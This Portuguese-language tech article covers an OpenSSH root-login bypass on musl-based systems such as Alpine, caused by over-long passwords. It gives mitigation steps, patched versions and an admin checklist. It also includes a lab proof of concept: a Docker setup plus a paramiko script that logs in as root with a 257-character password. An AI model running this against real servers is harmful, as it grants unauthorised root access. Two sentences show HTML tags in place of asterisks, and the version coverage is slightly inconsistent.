Shopping cart

Subtotal $0.00

View cartCheckout

Building better devs

TnewsTnews
  • Home
  • Notícias
  • Senha de 257 Caracteres Abre Root no Alpine Linux: O Bug do OpenSSH que Existe Desde 2016
Notícias

Senha de 257 Caracteres Abre Root no Alpine Linux: O Bug do OpenSSH que Existe Desde 2016

Email : 19

Imagine que você tem um servidor com SSH configurado, sem senha, apenas chave pública. Conta root travada, PasswordAuthentication yes porque, enfim, é o default. Você se sente seguro. Agora imagine que alguém digita uma senha absurdamente longa, com 257 caracteres, e entra como root. Sem brute force. Sem exploit elaborado. Uma única tentativa.

Isso não é ficção. É o CVE-2026-123158, apelidado de sshole pela comunidade, e afeta toda instalação de OpenSSH rodando sobre musl libc: Alpine Linux, OpenWrt, Buildroot, Yocto e, o mais preocupante, uma fatia gigantesca dos containers Docker em produção mundo afora.

Como uma senha gigante vira chave-mestra

Pra entender o sshole, você precisa conhecer três peças que se encaixam como um dominó perfeito.

Peça 1: contas travadas usam * no campo de senha.

No Linux, quando uma conta não tem senha (root em muitas distros, contas de serviço, usuários configurados pra login por chave), o campo de hash no /etc/shadow recebe um asterisco: *. Isso deveria significar “nenhuma senha funciona aqui, nem tente”.

Peça 2: a função crypt() da musl retorna * quando falha.

A musl é a biblioteca C do Alpine Linux, alternativa à glibc. Quando a crypt() da musl recebe uma senha maior que 256 bytes pra processar com SHA-256 ($5$) ou SHA-512 ($6$), ela não consegue lidar e retorna… *. Um asterisco. Como indicador de erro.

Peça 3: o fix do CVE-2016-6210 criou o vetor de ataque.

Em 2016, o OpenSSH corrigiu um ataque de timing (CVE-2016-6210) onde era possível enumerar usuários válidos medindo o tempo de resposta da autenticação. A correção? Quando um usuário não tem hash de senha, o OpenSSH pega emprestado o salt de outra conta que tenha hash. Assim, o tempo de processamento fica uniforme e o ataque de timing não funciona mais.

Parece razoável, certo? O problema é que esse “empréstimo de salt” faz o OpenSSH rodar a crypt() mesmo para contas que deveriam ser intocáveis.

A cadeia completa do ataque

Juntando as três peças:

  1. Atacante tenta login SSH como root (que tem * no campo de senha)
  2. OpenSSH pega o salt de outra conta (digamos, um usuário deploy com hash $6$...)
  3. OpenSSH chama crypt("senha_de_257_chars", "$6$salt_do_deploy$")
  4. A musl recebe a senha de 257 bytes, não consegue processar, retorna *
  5. OpenSSH compara o resultado * com o campo de senha do root *
  6. * == *. Login aceito.


Atacante → ssh root@servidor
Senha: [257+ caracteres qualquer]

musl crypt() → overflow → retorna "*"
/etc/shadow root → "*"

"*" == "*" → Autenticado ✓

Uma única conexão. Sem retries. Sem exploit code. Um ssh root@host com uma senha longa demais e pronto, você tem shell de root.

Quem está vulnerável (e por que Docker é o maior problema)

O sshole precisa de quatro condições simultâneas:

Condição Detalhe
———- ———
musl libc Alpine Linux, OpenWrt, Buildroot, Yocto
OpenSSH sem PAM Alpine compila sshd sem PAM por padrão
PasswordAuthentication yes É o default do OpenSSH
Pelo menos uma conta com hash SHA-256/SHA-512 Qualquer conta com senha real no sistema

Se as quatro batem, qualquer conta com * no campo de senha, root, contas de serviço, usuários key-only, vira porta aberta.

O elefante Docker na sala

Alpine Linux é a base de uma quantidade absurda de imagens Docker. Aquela FROM alpine:3.21 que você usa “porque é leve” (e é mesmo, 5MB contra 140MB do Debian)? Pois é. Se o container expõe SSH, que é menos comum mas acontece bastante em ambientes de CI/CD, jump boxes e bastion hosts, ele provavelmente está vulnerável.

As versões afetadas cobrem do Alpine 3.16 ao 3.24, incluindo o branch edge. Praticamente toda instalação Alpine dos últimos anos.


# Checar se seu container Alpine está vulnerável
docker exec -it meu_container sh -c "
  cat /etc/os-release | grep -i alpine
  apk list -I 2>/dev/null | grep openssh
  grep -c ':\*:' /etc/shadow
  grep -c '\$5\$\|\$6\$' /etc/shadow
"

Se o output mostra Alpine + openssh anterior ao 10.6p2 + contas com * + pelo menos uma conta com hash SHA: você tem um problema.

Sistemas que NÃO são afetados

Antes de entrar em pânico coletivo, vale listar o que está seguro:

  • Qualquer distro com glibc (Ubuntu, Debian, RHEL, Fedora, Arch): a glibc retorna NULL em erro, não *
  • OpenSSH com PAM habilitado: PAM tem seu próprio fluxo de autenticação
  • Dropbear SSH: implementação diferente, não afetada
  • OpenBSD: usa sua própria implementação de crypt()
  • Contas com ! ou !! no shadow: o bypass só funciona com * literal


# Verificação rápida: você usa glibc ou musl?
ldd --version 2>&1 | head -1

# Se aparecer "musl libc" → potencialmente vulnerável
# Se aparecer "GNU C Library" → seguro contra este bug

O fix é simples, mas a janela de exposição assusta

O OpenSSH 10.6p2, lançado em 5 de novembro de 2026, corrige o problema. O patch é cirúrgico: ele rejeita qualquer resultado de crypt() que seja <em> ou comece com </em>, tratando como falha de autenticação.


# Atualizar no Alpine
apk update && apk upgrade openssh-server

# Verificar a versão
sshd -V 2>&1 | head -1
# Deve mostrar OpenSSH_10.6p2 ou superior

# Reiniciar o serviço
rc-service sshd restart   # OpenRC
# ou
kill -HUP $(pgrep sshd)   # Container sem init

A mitigação imediata, se você não pode atualizar agora, é desabilitar autenticação por senha:


# /etc/ssh/sshd_config
PasswordAuthentication no

Reinicie o sshd e pronto, o vetor de ataque some. Mas, vamos combinar, se você ainda usa PasswordAuthentication yes em 2026, esse bug é o menor dos seus problemas.

Versões corrigidas por branch do Alpine

Branch Alpine Versão OpenSSH vulnerável Versão corrigida
————— ————————– ——————
3.16 9.0p1-r2 9.0p1-r3
3.17 9.1p1-r4 9.1p1-r5
3.18 9.3p2-r1 9.3p2-r2
3.19 9.6p1-r0 9.6p1-r1
3.20 9.7p1-r4 9.7p1-r5
3.21 10.2p1-r0 10.2p1-r1
edge 10.6p1-r0 10.6p2-r0

Arqueologia do bug: 10 anos de dominó

O que torna o sshole fascinante (e assustador) é que ele é um bug de composição. Nenhum componente individual está “errado” isoladamente:

A musl retornar <em> em erro é uma escolha de design válida. A especificação POSIX diz que crypt() deve retornar uma string que não é um hash válido em caso de falha. </em> tecnicamente cumpre esse critério.

O fix do CVE-2016-6210 no OpenSSH tinha uma lógica sólida: processar senhas mesmo para contas sem hash, pra prevenir timing attacks. Faz sentido.

O problema só aparece quando você junta os dois. E eles conviveram assim por quase 10 anos, desde 2016, sem ninguém notar. Ozgun Kultekin, pesquisador da Wakefield, publicou a descoberta no site sshhole.com em novembro de 2026.

Eu já vi esse padrão antes. Dois sistemas que funcionam perfeitamente isolados, mas que, quando combinados, criam um buraco que ninguém previu. É o tipo de bug que revisão de código não pega, porque cada lado parece correto no seu contexto.

O teste: como reproduzir (em lab, por favor)

Se você quer verificar na prática (em ambiente controlado, claro):


# Subir um container Alpine vulnerável (NÃO faça isso em produção)
docker run -d --name ssh-test alpine:3.20 sh -c "
  apk add openssh-server &&
  ssh-keygen -A &&
  echo 'root:*:19000:0:::::' > /etc/shadow &&
  adduser -D testuser &&
  echo 'testuser:teste123' | chpasswd &&
  /usr/sbin/sshd -D
"

# Tentar login com senha longa
python3 -c "
import paramiko
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('localhost', port=22, username='root',
               password='A' * 257)
stdin, stdout, stderr = client.exec_command('whoami')
print(stdout.read().decode())
# Output: root
"

A simplicidade do exploit é o que mais incomoda. Não precisa de ferramenta especial, não precisa de RCE prévio, não precisa de nada além de um client SSH e uma string longa.

Checklist de emergência pra quem roda Alpine

Se você administra infraestrutura com Alpine Linux (servidores ou containers), aqui vai um roteiro direto:

1. Inventariar


# Encontrar todos os containers Alpine com SSH
docker ps --format '{{.Names}}' | while read c; do
  if docker exec "$c" cat /etc/os-release 2>/dev/null | grep -q Alpine; then
    SSH_VER=$(docker exec "$c" sshd -V 2>&1 | head -1)
    echo "$c: $SSH_VER"
  fi
done

2. Mitigar imediatamente


# Em cada container/servidor afetado
sed -i 's/^#*PasswordAuthentication.*/PasswordAuthentication no/' /etc/ssh/sshd_config
kill -HUP $(pgrep sshd)

3. Atualizar


apk update && apk upgrade openssh-server openssh-client
rc-service sshd restart

4. Verificar


# Confirmar que a versão está corrigida
apk info openssh-server | grep -i version

5. Auditar logs


# Procurar tentativas de exploit (senhas longas nos logs)
grep -i "password" /var/log/auth.log | grep -i "failed\|accepted"

A lição que glibc ensina sem querer

Existe uma ironia aqui. A glibc, que todo mundo reclama por ser pesada, inchada, e “coisa de distro enterprise”, trata o erro de crypt() retornando NULL. Um ponteiro nulo. O OpenSSH tenta comparar com o campo de senha, o programa segfaulta (ou o check de NULL pega antes), e a autenticação falha. Bug evitado por acidente.

A musl, que todo mundo elogia por ser enxuta e limpa (e é mesmo), escolheu retornar *, uma string válida que ninguém esperava ver em uma comparação de hashes. Os dois comportamentos são tecnicamente aceitáveis pela especificação POSIX. Mas um deles criou um buraco de segurança crítico que durou uma década.

Isso levanta uma questão real: quantos outros bugs de composição estão dormindo entre implementações diferentes de funções POSIX? Se crypt() tem essa divergência, o que mais diverge entre glibc e musl de formas que ninguém auditou?

O impacto no ecossistema Docker

A Docker Inc. não publicou um advisory oficial até o momento desta publicação, mas a comunidade já se movimentou. O Alpine Linux publicou patches para todas as versões suportadas (3.16 a 3.24), e imagens oficiais no Docker Hub devem receber rebuilds nos próximos dias.

O problema maior é com imagens derivadas. Aquele Dockerfile do seu time que faz FROM alpine:3.20 e instala openssh-server pra algum propósito de CI, deploy ou acesso remoto? Ele não vai se atualizar sozinho. Cada time precisa rebuildar suas imagens com o pacote corrigido.


# Dockerfile atualizado
FROM alpine:3.20
RUN apk update && apk upgrade && apk add openssh-server
# ...resto da sua config

Pra quem usa Alpine em VMs ou bare metal (roteadores com OpenWrt, appliances com Buildroot), o processo é similar: atualizar o pacote e reiniciar o sshd.

Perguntas que você deveria estar fazendo agora

“Eu uso Alpine em containers, mas sem SSH. Estou seguro?”

Sim. Sem sshd rodando, não tem vetor de ataque. A maioria dos containers Docker não roda SSH (e não deveria), então o impacto em containers é menor do que parece. Mas confira se algum container do seu stack expõe porta 22.

“Meu Alpine tem PAM habilitado. Estou seguro?”

Sim. Com PAM, o fluxo de autenticação é diferente e o bypass não funciona. Mas o Alpine compila sem PAM por padrão, então, a menos que você tenha instalado e configurado manualmente, provavelmente não tem.

“Alguém já explorou isso em produção?”

Não há relatos públicos de exploração ativa no momento da publicação deste artigo. Mas, dada a simplicidade do exploit (literalmente uma senha longa), é questão de tempo se servidores vulneráveis estiverem expostos na internet.

“Preciso trocar minhas chaves SSH?”

Não. O bug é na autenticação por senha, não nas chaves. Suas chaves continuam seguras. Mas se alguém explorou o bug antes do patch, essa pessoa teve acesso root e pode ter comprometido o sistema de outras formas.

O nome “sshole” não é por acaso

A comunidade de segurança tem um talento especial pra nomear vulnerabilidades. Heartbleed, Shellshock, Log4Shell. O nome sshole (SSH + hole, com o duplo sentido óbvio) captura perfeitamente a natureza do bug: um buraco no SSH que faz você se sentir idiota por não ter notado antes.

O pesquisador Ozgun Kultekin, da Wakefield, documentou todo o histórico técnico no site sshhole.com, incluindo a arqueologia de como as decisões de design da musl (2012) e do OpenSSH (2016) colidiram pra criar o problema. O post atingiu 1.847 pontos no Hacker News, fazendo dele a história mais quente do dia.

Se você administra qualquer coisa com Alpine Linux e SSH, pare o que está fazendo e vá atualizar. Sério. O exploit cabe em um tweet.

Leave a Reply

Your email address will not be published. Required fields are marked *

Related Posts